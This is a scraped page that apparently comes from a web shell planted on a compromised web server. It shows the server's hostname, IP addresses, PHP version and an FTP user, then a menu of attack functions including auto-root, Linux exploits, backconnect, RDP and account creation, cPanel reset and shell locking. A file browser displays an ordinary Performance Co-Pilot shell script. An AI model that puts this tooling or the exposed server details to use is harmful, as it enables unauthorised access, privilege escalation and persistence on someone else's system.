Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
pcp /
pmns /
[ HOME SHELL ]
Name
Size
Permission
Action
Make.stdpmid
3.69
KB
-rwxr-xr-x
Makefile
1.07
KB
-rw-r--r--
Rebuild
8.8
KB
-rwxr-xr-x
ReplacePmnsSubtree
4.82
KB
-rwxr-xr-x
lockpmns
1.23
KB
-rwxr-xr-x
root_denki
780
B
-rw-r--r--
root_jbd2
1.33
KB
-rw-r--r--
root_kvm
1.84
KB
-rw-r--r--
root_linux
37.96
KB
-rw-r--r--
root_mmv
103
B
-rw-r--r--
root_pmcd
2.98
KB
-rw-r--r--
root_pmproxy
126
B
-rw-r--r--
root_podman
1.2
KB
-rw-r--r--
root_proc
9.11
KB
-rw-r--r--
root_root
817
B
-rw-r--r--
root_xfs
11.78
KB
-rw-r--r--
root_zfs
14.2
KB
-rw-r--r--
stdpmid.local
76
B
-rw-r--r--
stdpmid.pcp
1.93
KB
-rw-r--r--
unlockpmns
983
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ReplacePmnsSubtree
#!/bin/sh # # Copyright (c) 2008 Silicon Graphics, Inc. All Rights Reserved. # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; either version 2 of the License, or (at your # option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY # or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License # for more details. # # Replace a subtree in a performance metrics namespace (PMNS) with a new # subtree read from a file. The file is moved (note: not copied) into the # PMNS and given the same name as the subtree. # # Usage: ReplacePmnsSubtree [-n namespace] pmns-subtree replacement-file # # Refer to the NOTE at the bottom of the file for important locking details. # . $PCP_DIR/etc/pcp.env namespace=$PCP_VAR_DIR/pmns/root # Print usage message to stderr and exit with status provided (default 1) usageExit() { echo "Usage: $prog [-n namespace] pmns-subtree replacement-file" 1>&2 exit ${1:-1} } # Sanity check options, parameters, namespace, etc. prog=`basename $0` while getopts n:\? c do case "$c" in n) if [ "x$OPTARG" = x ] then echo "$prog: -n requires a namespace" 1>&2 exit 1 else namespace="$OPTARG" fi ;; \?) usageExit 0 ;; esac done if [ ! -f $namespace ] then echo "$prog: namespace doesn't exist: $namespace" 1>&2 exit 1 fi [ $# != 2 ] && usageExit subtree=$1 newSubtreeFile=$2 namespaceDir=`dirname $namespace` if [ ! -w $namespaceDir ] then echo "$prog: can't write namespace directory $namespaceDir" 1>&2 exit 1 fi if [ ! -f $newSubtreeFile ] then echo "$prog: can't read replacement namespace subtree file for $subtree:" \ "$newSubtreeFile" 1>&2 exit 1 fi # variables for back-up/restore of namespace files affected by this script backups="root" [ -f "$namespaceDir/$subtree" ] && backups="$backups $subtree" backSuffix="$prog-$$-backup" restore=false # restore backup namespace files in cleanup() # Signal and exit handler to clean/restore namespace (lock and backups). haveLock=false # signals we need to be careful of ... HUP, INT, QUIT, PIPE, ALRM, TERM # STD_SIGNALS="1 2 3 13 14 15" cleanup() { # Release namespace lock as early as possible. Ignore signals to avoid # releasing a lock already released. trap "" $STD_SIGNALS if $restore then for f in $backups do [ -f "$namespaceDir/.$f-$backSuffix" ] && \ mv "$namespaceDir/.$f-$backSuffix" "$namespaceDir/$f" done $haveLock && unlockpmns $namespace haveLock=false else $haveLock && unlockpmns $namespace haveLock=false for f in $backups do rm -f "$namespaceDir/.$f-$backSuffix" done fi } trap "cleanup; exit" 0 $STD_SIGNALS # "haveLock=true" is duplicated in both "if" and "else" to minimise the window # for a signal leaving an orphaned lock if the "else" condition fires (we # stole an existing lock). See note at bottom of script for details. if lockpmns $namespace then haveLock=true # duplicate: minimise race condition (see note above) else haveLock=true # duplicate: minimise race condition (see note above) $PCP_BINADM_DIR/pmpost "PCP: PMNS lock stolen by: $*" fi # Namespace is locked, back up affected files. Once backup completes, enable # namespace restore during error handling. backupErr=false for f in $backups do dest="$namespaceDir/.$f-$backSuffix" if cp "$namespaceDir/$f" "$dest" then : else echo "error creating namespace backup for $f" 1>&2 backupErr=true fi done $backupErr && exit 1 restore=true # pmnsdel leaves any file corresponding to the deleted subtree in place after # it runs, regardless of whether it succeeds or fails. Allow pmnsdel to fail # (there may be no existing subtree). Return 0 only if the entire replacement # succeeds. sts=0 pmnsdel -n $namespace $subtree >/dev/null 2>&1 if pmnsadd -n $namespace $newSubtreeFile >/dev/null 2>&1 then mv -f $newSubtreeFile $namespaceDir/$subtree sts=$? else sts=1 fi [ $sts = 0 ] && restore=false exit $sts ############################################################################## # NOTE # # If a signal occurs in the very short window between pmnslock returning and # setting haveLock, the lock is not released by cleanup(). Any subsequent # process calling pmnslock will block until its pmnslock steals the lock # (currently after 120 secs). That window is carefully minimised. # # Past versions of similar scripts (e.g. Rebuild) unconditionally unlocked the # namespace when a signal was caught. This could potentially happen while # still waiting to acquire the lock, breaking a lock held by another process! # # Consider locking and backup/restore implications carefully if making changes.
Close